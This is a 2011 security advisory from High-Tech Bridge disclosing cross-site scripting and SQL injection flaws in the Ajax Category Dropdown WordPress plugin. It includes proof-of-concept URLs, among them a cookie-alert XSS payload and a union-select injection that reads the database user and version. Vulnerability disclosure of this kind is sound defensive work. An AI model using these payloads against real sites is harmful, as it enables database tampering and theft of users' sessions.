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Multiple Vulnerabilities in Ajax Category Dropdown

Advisory ID:HTB22947
Product:Ajax Category Dropdown
Vendor:http://www.dyasonhat.com/
Vulnerable Versions:0.1.5 and probably prior
Tested Version:0.1.5
Advisory Publication:April 7, 2011 [without technical details]
Vendor Notification:April 7, 2011
Public Disclosure:April 21, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Ajax Category Dropdown WordPress plugin which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in Ajax Category Dropdown
The vulnerability exists due to input sanitation error in the "category_id" parameter in wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-c at-dropdown-request.php? admin&category_id=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) SQL injection vulnerabilities in Ajax Category Dropdown
The vulnerability exists due to input sanitation errors in the "category_id" and "cat_id" parameters in wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-c at-dropdown-request.php? savepostcat&post_id=1&category_id=SQL_CODE_HERE
http://[host]/wp-content/pl ugins/ajax-category-drop down/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=S QL_CODE_HERE
http://[ho st]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdow n-request.php?admin&cate gory_level=2&category_id=1%20union%20select%201,user%28%29,3,4,5,6,7,8,9,ver sion%28%29%20--%201

How to Detect Cross-Site Scripting Vulnerabilities
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22947 - https://www.immuniweb.com/advisory/HTB22947 - Multiple Vulnerabilities in Ajax Category Dropdown
[2] Ajax Category Dropdown - dyasonhat.com - Ajax Category Dropdown is a WordPress plugin that lists all categories in a dropdown box and after selecting one the second dropdown box gets populated via Ajax with all posts from this category.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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